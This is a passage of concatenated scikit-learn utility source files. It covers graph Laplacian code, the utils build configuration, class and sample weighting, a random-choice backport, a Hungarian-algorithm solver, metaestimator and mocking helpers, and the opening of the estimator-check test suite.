    lap = -np.asarray(graph)  # minus sign leads to a copy

    # set diagonal to zero
    lap.flat[::n_nodes + 1] = 0
    w = -lap.sum(axis=0)
    if normed:
        w = np.sqrt(w)
        w_zeros = (w == 0)
        w[w_zeros] = 1
        lap /= w
        lap /= w[:, np.newaxis]
        lap.flat[::n_nodes + 1] = (1 - w_zeros).astype(lap.dtype)
    else:
        lap.flat[::n_nodes + 1] = w.astype(lap.dtype)

    if return_diag:
        return lap, w
    return lap






import os
from os.path import join

from sklearn._build_utils import get_blas_info


def configuration(parent_package='', top_path=None):
    import numpy
    from numpy.distutils.misc_util import Configuration

    config = Configuration('utils', parent_package, top_path)
    config.add_subpackage('sparsetools')

    cblas_libs, blas_info = get_blas_info()
    cblas_compile_args = blas_info.pop('extra_compile_args', [])
    cblas_includes = [join('..', 'src', 'cblas'),
                      numpy.get_include(),
                      blas_info.pop('include_dirs', [])]

    libraries = []
    if os.name == 'posix':
        libraries.append('m')
        cblas_libs.append('m')

    config.add_extension('sparsefuncs_fast', sources=['sparsefuncs_fast.c'],
                         libraries=libraries)

    config.add_extension('arrayfuncs',
                         sources=['arrayfuncs.c'],
                         depends=[join('src', 'cholesky_delete.h')],
                         libraries=cblas_libs,
                         include_dirs=cblas_includes,
                         extra_compile_args=cblas_compile_args,
                         **blas_info
                         )

    config.add_extension(
        'murmurhash',
        sources=['murmurhash.c', join('src', 'MurmurHash3.cpp')],
        include_dirs=['src'])

    config.add_extension('lgamma',
                         sources=['lgamma.c', join('src', 'gamma.c')],
                         include_dirs=['src'],
                         libraries=libraries)

    config.add_extension('graph_shortest_path',
                         sources=['graph_shortest_path.c'],
                         include_dirs=[numpy.get_include()])

    config.add_extension('fast_dict',
                         sources=['fast_dict.cpp'],
                         language="c++",
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_extension('seq_dataset',
                         sources=['seq_dataset.c'],
                         include_dirs=[numpy.get_include()])

    config.add_extension('weight_vector',
                         sources=['weight_vector.c'],
                         include_dirs=cblas_includes,
                         libraries=cblas_libs,
                         **blas_info)

    config.add_extension("_random",
                         sources=["_random.c"],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_extension("_logistic_sigmoid",
                         sources=["_logistic_sigmoid.c"],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_subpackage('tests')

    return config


if __name__ == '__main__':
    from numpy.distutils.core import setup
    setup(**configuration(top_path='').todict())






# Authors: Andreas Mueller
#          Manoj Kumar
# License: BSD 3 clause

import warnings
import numpy as np
from ..externals import six
from ..utils.fixes import in1d

from .fixes import bincount


def compute_class_weight(class_weight, classes, y):
    """Estimate class weights for unbalanced datasets.

    Parameters
    ----------
    class_weight : dict, 'balanced' or None
        If 'balanced', class weights will be given by
        ``n_samples / (n_classes * np.bincount(y))``.
        If a dictionary is given, keys are classes and values
        are corresponding class weights.
        If None is given, the class weights will be uniform.

    classes : ndarray
        Array of the classes occurring in the data, as given by
        ``np.unique(y_org)`` with ``y_org`` the original class labels.

    y : array-like, shape (n_samples,)
        Array of original class labels per sample;

    Returns
    -------
    class_weight_vect : ndarray, shape (n_classes,)
        Array with class_weight_vect[i] the weight for i-th class

    References
    ----------
    The "balanced" heuristic is inspired by
    Logistic Regression in Rare Events Data, King, Zen, 2001.
    """
    # Import error caused by circular imports.
    from ..preprocessing import LabelEncoder

    if set(y) - set(classes):
        raise ValueError("classes should include all valid labels that can "
                         "be in y")
    if class_weight is None or len(class_weight) == 0:
        # uniform class weights
        weight = np.ones(classes.shape[0], dtype=np.float64, order='C')
    elif class_weight in ['auto', 'balanced']:
        # Find the weight of each class as present in y.
        le = LabelEncoder()
        y_ind = le.fit_transform(y)
        if not all(np.in1d(classes, le.classes_)):
            raise ValueError("classes should have valid labels that are in y")

        # inversely proportional to the number of samples in the class
        if class_weight == 'auto':
            recip_freq = 1. / bincount(y_ind)
            weight = recip_freq[le.transform(classes)] / np.mean(recip_freq)
            warnings.warn("The class_weight='auto' heuristic is deprecated in"
                          " 0.17 in favor of a new heuristic "
                          "class_weight='balanced'. 'auto' will be removed in"
                          " 0.19", DeprecationWarning)
        else:
            recip_freq = len(y) / (len(le.classes_) *
                                   bincount(y_ind).astype(np.float64))
            weight = recip_freq[le.transform(classes)]
    else:
        # user-defined dictionary
        weight = np.ones(classes.shape[0], dtype=np.float64, order='C')
        if not isinstance(class_weight, dict):
            raise ValueError("class_weight must be dict, 'balanced', or None,"
                             " got: %r" % class_weight)
        for c in class_weight:
            i = np.searchsorted(classes, c)
            if i >= len(classes) or classes[i] != c:
                raise ValueError("Class label %d not present." % c)
            else:
                weight[i] = class_weight[c]

    return weight


def compute_sample_weight(class_weight, y, indices=None):
    """Estimate sample weights by class for unbalanced datasets.

    Parameters
    ----------
    class_weight : dict, list of dicts, "balanced", or None, optional
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one. For
        multi-output problems, a list of dicts can be provided in the same
        order as the columns of y.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data:
        ``n_samples / (n_classes * np.bincount(y))``.

        For multi-output, the weights of each column of y will be multiplied.

    y : array-like, shape = [n_samples] or [n_samples, n_outputs]
        Array of original class labels per sample.

    indices : array-like, shape (n_subsample,), or None
        Array of indices to be used in a subsample. Can be of length less than
        n_samples in the case of a subsample, or equal to n_samples in the
        case of a bootstrap subsample with repeated indices. If None, the
        sample weight will be calculated over the full sample. Only "auto" is
        supported for class_weight if this is provided.

    Returns
    -------
    sample_weight_vect : ndarray, shape (n_samples,)
        Array with sample weights as applied to the original y
    """

    y = np.atleast_1d(y)
    if y.ndim == 1:
        y = np.reshape(y, (-1, 1))
    n_outputs = y.shape[1]

    if isinstance(class_weight, six.string_types):
        if class_weight not in ['balanced', 'auto']:
            raise ValueError('The only valid preset for class_weight is '
                             '"balanced". Given "%s".' % class_weight)
    elif (indices is not None and
          not isinstance(class_weight, six.string_types)):
        raise ValueError('The only valid class_weight for subsampling is '
                         '"balanced". Given "%s".' % class_weight)
    elif n_outputs > 1:
        if (not hasattr(class_weight, "__iter__") or
                isinstance(class_weight, dict)):
            raise ValueError("For multi-output, class_weight should be a "
                             "list of dicts, or a valid string.")
        if len(class_weight) != n_outputs:
            raise ValueError("For multi-output, number of elements in "
                             "class_weight should match number of outputs.")

    expanded_class_weight = []
    for k in range(n_outputs):

        y_full = y[:, k]
        classes_full = np.unique(y_full)
        classes_missing = None

        if class_weight in ['balanced', 'auto'] or n_outputs == 1:
            class_weight_k = class_weight
        else:
            class_weight_k = class_weight[k]

        if indices is not None:
            # Get class weights for the subsample, covering all classes in
            # case some labels that were present in the original data are
            # missing from the sample.
            y_subsample = y[indices, k]
            classes_subsample = np.unique(y_subsample)

            weight_k = np.choose(np.searchsorted(classes_subsample,
                                                 classes_full),
                                 compute_class_weight(class_weight_k,
                                                      classes_subsample,
                                                      y_subsample),
                                 mode='clip')

            classes_missing = set(classes_full) - set(classes_subsample)
        else:
            weight_k = compute_class_weight(class_weight_k,
                                            classes_full,
                                            y_full)

        weight_k = weight_k[np.searchsorted(classes_full, y_full)]

        if classes_missing:
            # Make missing classes' weight zero
            weight_k[in1d(y_full, list(classes_missing))] = 0.

        expanded_class_weight.append(weight_k)

    expanded_class_weight = np.prod(expanded_class_weight,
                                    axis=0,
                                    dtype=np.float64)

    return expanded_class_weight






# Author: Hamzeh Alsalhi <ha258@cornell.edu>
#
# License: BSD 3 clause
from __future__ import division
import numpy as np
import scipy.sparse as sp
import operator
import array

from sklearn.utils import check_random_state
from sklearn.utils.fixes import astype
from ._random import sample_without_replacement

__all__ = ['sample_without_replacement', 'choice']


# This is a backport of np.random.choice from numpy 1.7
# The function can be removed when we bump the requirements to >=1.7
def choice(a, size=None, replace=True, p=None, random_state=None):
    """
    choice(a, size=None, replace=True, p=None)

    Generates a random sample from a given 1-D array

    .. versionadded:: 1.7.0

    Parameters
    -----------
    a : 1-D array-like or int
        If an ndarray, a random sample is generated from its elements.
        If an int, the random sample is generated as if a was np.arange(n)

    size : int or tuple of ints, optional
        Output shape. Default is None, in which case a single value is
        returned.

    replace : boolean, optional
        Whether the sample is with or without replacement.

    p : 1-D array-like, optional
        The probabilities associated with each entry in a.
        If not given the sample assumes a uniform distribution over all
        entries in a.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.


    Returns
    --------
    samples : 1-D ndarray, shape (size,)
    The generated random samples

    Raises
    -------
    ValueError
    If a is an int and less than zero, if a or p are not 1-dimensional,
    if a is an array-like of size 0, if p is not a vector of
    probabilities, if a and p have different lengths, or if
    replace=False and the sample size is greater than the population
    size

    See Also
    ---------
    randint, shuffle, permutation

    Examples
    ---------
    Generate a uniform random sample from np.arange(5) of size 3:

    >>> np.random.choice(5, 3)  # doctest: +SKIP
    array([0, 3, 4])
    >>> #This is equivalent to np.random.randint(0,5,3)

    Generate a non-uniform random sample from np.arange(5) of size 3:

    >>> np.random.choice(5, 3, p=[0.1, 0, 0.3, 0.6, 0])  # doctest: +SKIP
    array([3, 3, 0])

    Generate a uniform random sample from np.arange(5) of size 3 without
    replacement:

    >>> np.random.choice(5, 3, replace=False)  # doctest: +SKIP
    array([3,1,0])
    >>> #This is equivalent to np.random.shuffle(np.arange(5))[:3]

    Generate a non-uniform random sample from np.arange(5) of size
    3 without replacement:

    >>> np.random.choice(5, 3, replace=False, p=[0.1, 0, 0.3, 0.6, 0])
    ... # doctest: +SKIP
    array([2, 3, 0])

    Any of the above can be repeated with an arbitrary array-like
    instead of just integers. For instance:

    >>> aa_milne_arr = ['pooh', 'rabbit', 'piglet', 'Christopher']
    >>> np.random.choice(aa_milne_arr, 5, p=[0.5, 0.1, 0.1, 0.3])
    ... # doctest: +SKIP
    array(['pooh', 'pooh', 'pooh', 'Christopher', 'piglet'],
    dtype='|S11')

    """
    random_state = check_random_state(random_state)

    # Format and Verify input
    a = np.array(a, copy=False)
    if a.ndim == 0:
        try:
            # __index__ must return an integer by python rules.
            pop_size = operator.index(a.item())
        except TypeError:
            raise ValueError("a must be 1-dimensional or an integer")
        if pop_size <= 0:
            raise ValueError("a must be greater than 0")
    elif a.ndim != 1:
        raise ValueError("a must be 1-dimensional")
    else:
        pop_size = a.shape[0]
        if pop_size is 0:
            raise ValueError("a must be non-empty")

    if None != p:
        p = np.array(p, dtype=np.double, ndmin=1, copy=False)
        if p.ndim != 1:
            raise ValueError("p must be 1-dimensional")
        if p.size != pop_size:
            raise ValueError("a and p must have same size")
        if np.any(p < 0):
            raise ValueError("probabilities are not non-negative")
        if not np.allclose(p.sum(), 1):
            raise ValueError("probabilities do not sum to 1")

    shape = size
    if shape is not None:
        size = np.prod(shape, dtype=np.intp)
    else:
        size = 1

    # Actual sampling
    if replace:
        if None != p:
            cdf = p.cumsum()
            cdf /= cdf[-1]
            uniform_samples = random_state.random_sample(shape)
            idx = cdf.searchsorted(uniform_samples, side='right')
            # searchsorted returns a scalar
            idx = np.array(idx, copy=False)
        else:
            idx = random_state.randint(0, pop_size, size=shape)
    else:
        if size > pop_size:
            raise ValueError("Cannot take a larger sample than "
                             "population when 'replace=False'")

        if None != p:
            if np.sum(p > 0) < size:
                raise ValueError("Fewer non-zero entries in p than size")
            n_uniq = 0
            p = p.copy()
            found = np.zeros(shape, dtype=np.int)
            flat_found = found.ravel()
            while n_uniq < size:
                x = random_state.rand(size - n_uniq)
                if n_uniq > 0:
                    p[flat_found[0:n_uniq]] = 0
                cdf = np.cumsum(p)
                cdf /= cdf[-1]
                new = cdf.searchsorted(x, side='right')
                _, unique_indices = np.unique(new, return_index=True)
                unique_indices.sort()
                new = new.take(unique_indices)
                flat_found[n_uniq:n_uniq + new.size] = new
                n_uniq += new.size
            idx = found
        else:
            idx = random_state.permutation(pop_size)[:size]
            if shape is not None:
                idx.shape = shape

    if shape is None and isinstance(idx, np.ndarray):
        # In most cases a scalar will have been made an array
        idx = idx.item(0)

    # Use samples as indices for a if a is array-like
    if a.ndim == 0:
        return idx

    if shape is not None and idx.ndim == 0:
        # If size == () then the user requested a 0-d array as opposed to
        # a scalar object when size is None. However a[idx] is always a
        # scalar and not an array. So this makes sure the result is an
        # array, taking into account that np.array(item) may not work
        # for object arrays.
        res = np.empty((), dtype=a.dtype)
        res[()] = a[idx]
        return res

    return a[idx]


def random_choice_csc(n_samples, classes, class_probability=None,
                      random_state=None):
    """Generate a sparse random matrix given column class distributions

    Parameters
    ----------
    n_samples : int,
        Number of samples to draw in each column.

    classes : list of size n_outputs of arrays of size (n_classes,)
        List of classes for each column.

    class_probability : list of size n_outputs of arrays of size (n_classes,)
        Optional (default=None). Class distribution of each column. If None the
        uniform distribution is assumed.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    random_matrix : sparse csc matrix of size (n_samples, n_outputs)

    """
    data = array.array('i')
    indices = array.array('i')
    indptr = array.array('i', [0])

    for j in range(len(classes)):
        classes[j] = np.asarray(classes[j])
        if classes[j].dtype.kind != 'i':
            raise ValueError("class dtype %s is not supported" %
                             classes[j].dtype)
        classes[j] = astype(classes[j], np.int64, copy=False)

        # use uniform distribution if no class_probability is given
        if class_probability is None:
            class_prob_j = np.empty(shape=classes[j].shape[0])
            class_prob_j.fill(1 / classes[j].shape[0])
        else:
            class_prob_j = np.asarray(class_probability[j])

        if np.sum(class_prob_j) != 1.0:
            raise ValueError("Probability array at index {0} does not sum to "
                             "one".format(j))

        if class_prob_j.shape[0] != classes[j].shape[0]:
            raise ValueError("classes[{0}] (length {1}) and "
                             "class_probability[{0}] (length {2}) have "
                             "different length.".format(j,
                                                        classes[j].shape[0],
                                                        class_prob_j.shape[0]))

        # If 0 is not present in the classes insert it with a probability 0.0
        if 0 not in classes[j]:
            classes[j] = np.insert(classes[j], 0, 0)
            class_prob_j = np.insert(class_prob_j, 0, 0.0)

        # If there are nonzero classes choose randomly using class_probability
        rng = check_random_state(random_state)
        if classes[j].shape[0] > 1:
            p_nonzero = 1 - class_prob_j[classes[j] == 0]
            nnz = int(n_samples * p_nonzero)
            ind_sample = sample_without_replacement(n_population=n_samples,
                                                    n_samples=nnz,
                                                    random_state=random_state)
            indices.extend(ind_sample)

            # Normalize probabilites for the nonzero elements
            classes_j_nonzero = classes[j] != 0
            class_probability_nz = class_prob_j[classes_j_nonzero]
            class_probability_nz_norm = (class_probability_nz /
                                         np.sum(class_probability_nz))
            classes_ind = np.searchsorted(class_probability_nz_norm.cumsum(),
                                          rng.rand(nnz))
            data.extend(classes[j][classes_j_nonzero][classes_ind])
        indptr.append(len(indices))

    return sp.csc_matrix((data, indices, indptr),
                         (n_samples, len(classes)),
                         dtype=int)






"""
Solve the unique lowest-cost assignment problem using the
Hungarian algorithm (also known as Munkres algorithm).

"""
# Based on original code by Brain Clapper, adapted to NumPy by Gael Varoquaux.
# Heavily refactored by Lars Buitinck.
#
# TODO: a version of this algorithm has been incorporated in SciPy; use that
# when SciPy 0.17 is released.

# Copyright (c) 2008 Brian M. Clapper <bmc@clapper.org>, Gael Varoquaux
# Author: Brian M. Clapper, Gael Varoquaux
# LICENSE: BSD

import numpy as np

from .fixes import astype


def linear_assignment(X):
    """Solve the linear assignment problem using the Hungarian algorithm.

    The problem is also known as maximum weight matching in bipartite graphs.
    The method is also known as the Munkres or Kuhn-Munkres algorithm.

    Parameters
    ----------
    X : array
        The cost matrix of the bipartite graph

    Returns
    -------
    indices : array,
        The pairs of (row, col) indices in the original array giving
        the original ordering.

    References
    ----------

    1. http://www.public.iastate.edu/~ddoty/HungarianAlgorithm.html

    2. Harold W. Kuhn. The Hungarian Method for the assignment problem.
       *Naval Research Logistics Quarterly*, 2:83-97, 1955.

    3. Harold W. Kuhn. Variants of the Hungarian method for assignment
       problems. *Naval Research Logistics Quarterly*, 3: 253-258, 1956.

    4. Munkres, J. Algorithms for the Assignment and Transportation Problems.
       *Journal of the Society of Industrial and Applied Mathematics*,
       5(1):32-38, March, 1957.

    5. https://en.wikipedia.org/wiki/Hungarian_algorithm
    """
    indices = _hungarian(X).tolist()
    indices.sort()
    # Re-force dtype to ints in case of empty list
    indices = np.array(indices, dtype=int)
    # Make sure the array is 2D with 2 columns.
    # This is needed when dealing with an empty list
    indices.shape = (-1, 2)
    return indices


class _HungarianState(object):
    """State of one execution of the Hungarian algorithm.

    Parameters
    ----------
    cost_matrix : 2D matrix
        The cost matrix. Does not have to be square.
    """

    def __init__(self, cost_matrix):
        cost_matrix = np.atleast_2d(cost_matrix)

        # If there are more rows (n) than columns (m), then the algorithm
        # will not be able to work correctly. Therefore, we
        # transpose the cost function when needed. Just have to
        # remember to swap the result columns back later.
        transposed = (cost_matrix.shape[1] < cost_matrix.shape[0])
        if transposed:
            self.C = (cost_matrix.T).copy()
        else:
            self.C = cost_matrix.copy()
        self.transposed = transposed

        # At this point, m >= n.
        n, m = self.C.shape
        self.row_uncovered = np.ones(n, dtype=np.bool)
        self.col_uncovered = np.ones(m, dtype=np.bool)
        self.Z0_r = 0
        self.Z0_c = 0
        self.path = np.zeros((n + m, 2), dtype=int)
        self.marked = np.zeros((n, m), dtype=int)

    def _find_prime_in_row(self, row):
        """
        Find the first prime element in the specified row. Returns
        the column index, or -1 if no starred element was found.
        """
        col = np.argmax(self.marked[row] == 2)
        if self.marked[row, col] != 2:
            col = -1
        return col

    def _clear_covers(self):
        """Clear all covered matrix cells"""
        self.row_uncovered[:] = True
        self.col_uncovered[:] = True


def _hungarian(cost_matrix):
    """The Hungarian algorithm.

    Calculate the Munkres solution to the classical assignment problem and
    return the indices for the lowest-cost pairings.

    Parameters
    ----------
    cost_matrix : 2D matrix
        The cost matrix. Does not have to be square.

    Returns
    -------
    indices : 2D array of indices
        The pairs of (row, col) indices in the original array giving
        the original ordering.
    """
    state = _HungarianState(cost_matrix)

    # No need to bother with assignments if one of the dimensions
    # of the cost matrix is zero-length.
    step = None if 0 in cost_matrix.shape else _step1

    while step is not None:
        step = step(state)

    # Look for the starred columns
    results = np.array(np.where(state.marked == 1)).T

    # We need to swap the columns because we originally
    # did a transpose on the input cost matrix.
    if state.transposed:
        results = results[:, ::-1]

    return results


# Individual steps of the algorithm follow, as a state machine: they return
# the next step to be taken (function to be called), if any.

def _step1(state):
    """Steps 1 and 2 in the Wikipedia page."""

    # Step1: For each row of the matrix, find the smallest element and
    # subtract it from every element in its row.
    state.C -= state.C.min(axis=1)[:, np.newaxis]
    # Step2: Find a zero (Z) in the resulting matrix. If there is no
    # starred zero in its row or column, star Z. Repeat for each element
    # in the matrix.
    for i, j in zip(*np.where(state.C == 0)):
        if state.col_uncovered[j] and state.row_uncovered[i]:
            state.marked[i, j] = 1
            state.col_uncovered[j] = False
            state.row_uncovered[i] = False

    state._clear_covers()
    return _step3


def _step3(state):
    """
    Cover each column containing a starred zero. If n columns are covered,
    the starred zeros describe a complete set of unique assignments.
    In this case, Go to DONE, otherwise, Go to Step 4.
    """
    marked = (state.marked == 1)
    state.col_uncovered[np.any(marked, axis=0)] = False

    if marked.sum() < state.C.shape[0]:
        return _step4


def _step4(state):
    """
    Find a noncovered zero and prime it. If there is no starred zero
    in the row containing this primed zero, Go to Step 5. Otherwise,
    cover this row and uncover the column containing the starred
    zero. Continue in this manner until there are no uncovered zeros
    left. Save the smallest uncovered value and Go to Step 6.
    """
    # We convert to int as numpy operations are faster on int
    C = (state.C == 0).astype(np.int)
    covered_C = C * state.row_uncovered[:, np.newaxis]
    covered_C *= astype(state.col_uncovered, dtype=np.int, copy=False)
    n = state.C.shape[0]
    m = state.C.shape[1]
    while True:
        # Find an uncovered zero
        row, col = np.unravel_index(np.argmax(covered_C), (n, m))
        if covered_C[row, col] == 0:
            return _step6
        else:
            state.marked[row, col] = 2
            # Find the first starred element in the row
            star_col = np.argmax(state.marked[row] == 1)
            if not state.marked[row, star_col] == 1:
                # Could not find one
                state.Z0_r = row
                state.Z0_c = col
                return _step5
            else:
                col = star_col
                state.row_uncovered[row] = False
                state.col_uncovered[col] = True
                covered_C[:, col] = C[:, col] * (
                    astype(state.row_uncovered, dtype=np.int, copy=False))
                covered_C[row] = 0


def _step5(state):
    """
    Construct a series of alternating primed and starred zeros as follows.
    Let Z0 represent the uncovered primed zero found in Step 4.
    Let Z1 denote the starred zero in the column of Z0 (if any).
    Let Z2 denote the primed zero in the row of Z1 (there will always be one).
    Continue until the series terminates at a primed zero that has no starred
    zero in its column. Unstar each starred zero of the series, star each
    primed zero of the series, erase all primes and uncover every line in the
    matrix. Return to Step 3
    """
    count = 0
    path = state.path
    path[count, 0] = state.Z0_r
    path[count, 1] = state.Z0_c

    while True:
        # Find the first starred element in the col defined by
        # the path.
        row = np.argmax(state.marked[:, path[count, 1]] == 1)
        if not state.marked[row, path[count, 1]] == 1:
            # Could not find one
            break
        else:
            count += 1
            path[count, 0] = row
            path[count, 1] = path[count - 1, 1]

        # Find the first prime element in the row defined by the
        # first path step
        col = np.argmax(state.marked[path[count, 0]] == 2)
        if state.marked[row, col] != 2:
            col = -1
        count += 1
        path[count, 0] = path[count - 1, 0]
        path[count, 1] = col

    # Convert paths
    for i in range(count + 1):
        if state.marked[path[i, 0], path[i, 1]] == 1:
            state.marked[path[i, 0], path[i, 1]] = 0
        else:
            state.marked[path[i, 0], path[i, 1]] = 1

    state._clear_covers()
    # Erase all prime markings
    state.marked[state.marked == 2] = 0
    return _step3


def _step6(state):
    """
    Add the value found in Step 4 to every element of each covered row,
    and subtract it from every element of each uncovered column.
    Return to Step 4 without altering any stars, primes, or covered lines.
    """
    # the smallest uncovered value in the matrix
    if np.any(state.row_uncovered) and np.any(state.col_uncovered):
        minval = np.min(state.C[state.row_uncovered], axis=0)
        minval = np.min(minval[state.col_uncovered])
        state.C[np.logical_not(state.row_uncovered)] += minval
        state.C[:, state.col_uncovered] -= minval
    return _step4






"""Utilities for meta-estimators"""
# Author: Joel Nothman
#         Andreas Mueller
# License: BSD

from operator import attrgetter
from functools import update_wrapper


__all__ = ['if_delegate_has_method']


class _IffHasAttrDescriptor(object):
    """Implements a conditional property using the descriptor protocol.

    Using this class to create a decorator will raise an ``AttributeError``
    if the ``attribute_name`` is not present on the base object.

    This allows ducktyping of the decorated method based on ``attribute_name``.

    See https://docs.python.org/3/howto/descriptor.html for an explanation of
    descriptors.
    """
    def __init__(self, fn, attribute_name):
        self.fn = fn
        self.get_attribute = attrgetter(attribute_name)
        # update the docstring of the descriptor
        update_wrapper(self, fn)

    def __get__(self, obj, type=None):
        # raise an AttributeError if the attribute is not present on the object
        if obj is not None:
            # delegate only on instances, not the classes.
            # this is to allow access to the docstrings.
            self.get_attribute(obj)
        # lambda, but not partial, allows help() to work with update_wrapper
        out = lambda *args, **kwargs: self.fn(obj, *args, **kwargs)
        # update the docstring of the returned function
        update_wrapper(out, self.fn)
        return out


def if_delegate_has_method(delegate):
    """Create a decorator for methods that are delegated to a sub-estimator

    This enables ducktyping by hasattr returning True according to the
    sub-estimator.

    >>> from sklearn.utils.metaestimators import if_delegate_has_method
    >>>
    >>>
    >>> class MetaEst(object):
    ...     def __init__(self, sub_est):
    ...         self.sub_est = sub_est
    ...
    ...     @if_delegate_has_method(delegate='sub_est')
    ...     def predict(self, X):
    ...         return self.sub_est.predict(X)
    ...
    >>> class HasPredict(object):
    ...     def predict(self, X):
    ...         return X.sum(axis=1)
    ...
    >>> class HasNoPredict(object):
    ...     pass
    ...
    >>> hasattr(MetaEst(HasPredict()), 'predict')
    True
    >>> hasattr(MetaEst(HasNoPredict()), 'predict')
    False
    """
    return lambda fn: _IffHasAttrDescriptor(fn, '%s.%s' % (delegate, fn.__name__))






import numpy as np

from ..base import BaseEstimator, ClassifierMixin
from .testing import assert_true
from .validation import _num_samples, check_array


class ArraySlicingWrapper(object):
    def __init__(self, array):
        self.array = array

    def __getitem__(self, aslice):
        return MockDataFrame(self.array[aslice])


class MockDataFrame(object):

    # have shape an length but don't support indexing.
    def __init__(self, array):
        self.array = array
        self.shape = array.shape
        self.ndim = array.ndim
        # ugly hack to make iloc work.
        self.iloc = ArraySlicingWrapper(array)

    def __len__(self):
        return len(self.array)

    def __array__(self):
        # Pandas data frames also are array-like: we want to make sure that
        # input validation in cross-validation does not try to call that
        # method.
        return self.array


class CheckingClassifier(BaseEstimator, ClassifierMixin):
    """Dummy classifier to test pipelining and meta-estimators.

    Checks some property of X and y in fit / predict.
    This allows testing whether pipelines / cross-validation or metaestimators
    changed the input.
    """
    def __init__(self, check_y=None,
                 check_X=None, foo_param=0):
        self.check_y = check_y
        self.check_X = check_X
        self.foo_param = foo_param

    def fit(self, X, y):
        assert_true(len(X) == len(y))
        if self.check_X is not None:
            assert_true(self.check_X(X))
        if self.check_y is not None:
            assert_true(self.check_y(y))
        self.classes_ = np.unique(check_array(y, ensure_2d=False,
                                              allow_nd=True))

        return self

    def predict(self, T):
        if self.check_X is not None:
            assert_true(self.check_X(T))
        return self.classes_[np.zeros(_num_samples(T), dtype=np.int)]

    def score(self, X=None, Y=None):
        if self.foo_param > 1:
            score = 1.
        else:
            score = 0.
        return score






from __future__ import print_function

import types
import warnings
import sys
import traceback
import pickle
from copy import deepcopy

import numpy as np
from scipy import sparse
import struct

from sklearn.externals.six.moves import zip
from sklearn.externals.joblib import hash, Memory
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regex
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_in
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import META_ESTIMATORS
from sklearn.utils.testing import set_random_state
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_greater_equal
from sklearn.utils.testing import SkipTest
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_warns


from sklearn.base import (clone, ClassifierMixin, RegressorMixin,
                          TransformerMixin, ClusterMixin, BaseEstimator)
from sklearn.metrics import accuracy_score, adjusted_rand_score, f1_score

from sklearn.discriminant_analysis import LinearDiscriminantAnalysis
from sklearn.random_projection import BaseRandomProjection
from sklearn.feature_selection import SelectKBest
from sklearn.svm.base import BaseLibSVM
from sklearn.pipeline import make_pipeline
from sklearn.decomposition import NMF, ProjectedGradientNMF
from sklearn.exceptions import ConvergenceWarning
from sklearn.exceptions import DataConversionWarning
from sklearn.model_selection import train_test_split

from sklearn.utils import shuffle
from sklearn.utils.fixes import signature
from sklearn.preprocessing import StandardScaler
from sklearn.datasets import load_iris, load_boston, make_blobs


BOSTON = None
CROSS_DECOMPOSITION = ['PLSCanonical', 'PLSRegression', 'CCA', 'PLSSVD']
MULTI_OUTPUT = ['CCA', 'DecisionTreeRegressor', 'ElasticNet',
                'ExtraTreeRegressor', 'ExtraTreesRegressor', 'GaussianProcess',
                'GaussianProcessRegressor',
                'KNeighborsRegressor', 'KernelRidge', 'Lars', 'Lasso',
                'LassoLars', 'LinearRegression', 'MultiTaskElasticNet',
                'MultiTaskElasticNetCV', 'MultiTaskLasso', 'MultiTaskLassoCV',
                'OrthogonalMatchingPursuit', 'PLSCanonical', 'PLSRegression',
                'RANSACRegressor', 'RadiusNeighborsRegressor',
                'RandomForestRegressor', 'Ridge', 'RidgeCV']

# Estimators with deprecated transform methods. Should be removed in 0.19 when
# _LearntSelectorMixin is removed.
DEPRECATED_TRANSFORM = [
    "RandomForestClassifier", "RandomForestRegressor", "ExtraTreesClassifier",
    "ExtraTreesRegressor", "DecisionTreeClassifier",
    "DecisionTreeRegressor", "ExtraTreeClassifier", "ExtraTreeRegressor",
    "LinearSVC", "SGDClassifier", "SGDRegressor", "Perceptron",
    "LogisticRegression", "LogisticRegressionCV",
    "GradientBoostingClassifier", "GradientBoostingRegressor"]


def _yield_non_meta_checks(name, Estimator):
    yield check_estimators_dtypes
    yield check_fit_score_takes_y
    yield check_dtype_object
    yield check_estimators_fit_returns_self

    # Check that all estimator yield informative messages when
    # trained on empty datasets
    yield check_estimators_empty_data_messages

    if name not in CROSS_DECOMPOSITION + ['SpectralEmbedding']:
        # SpectralEmbedding is non-deterministic,
        # see issue #4236
        # cross-decomposition's "transform" returns X and Y
        yield check_pipeline_consistency

    if name not in ['Imputer']:
        # Test that all estimators check their input for NaN's and infs
        yield check_estimators_nan_inf

    if name not in ['GaussianProcess']:
        # FIXME!
        # in particular GaussianProcess!
        yield check_estimators_overwrite_params
    if hasattr(Estimator, 'sparsify'):
        yield check_sparsify_coefficients

    yield check_estimator_sparse_data

    # Test that estimators can be pickled, and once pickled
    # give the same answer as before.
    yield check_estimators_pickle


def _yield_classifier_checks(name, Classifier):
    # test classifiers can handle non-array data
    yield check_classifier_data_not_an_array
    # test classifiers trained on a single label always return this label
    yield check_classifiers_one_label
    yield check_classifiers_classes
    yield check_estimators_partial_fit_n_features
    # basic consistency testing
    yield check_classifiers_train
    yield check_classifiers_regression_target
    if (name not in ["MultinomialNB", "LabelPropagation", "LabelSpreading"]
        # TODO some complication with -1 label
            and name not in ["DecisionTreeClassifier",
                             "ExtraTreeClassifier"]):
            # We don't raise a warning in these classifiers, as
            # the column y interface is used by the forests.

        yield check_supervised_y_2d
    # test if NotFittedError is raised
    yield check_estimators_unfitted
    if 'class_weight' in Classifier().get_params().keys():
        yield check_class_weight_classifiers


def check_supervised_y_no_nan(name, Estimator):
    # Checks that the Estimator targets are not NaN.

    rng = np.random.RandomState(888)
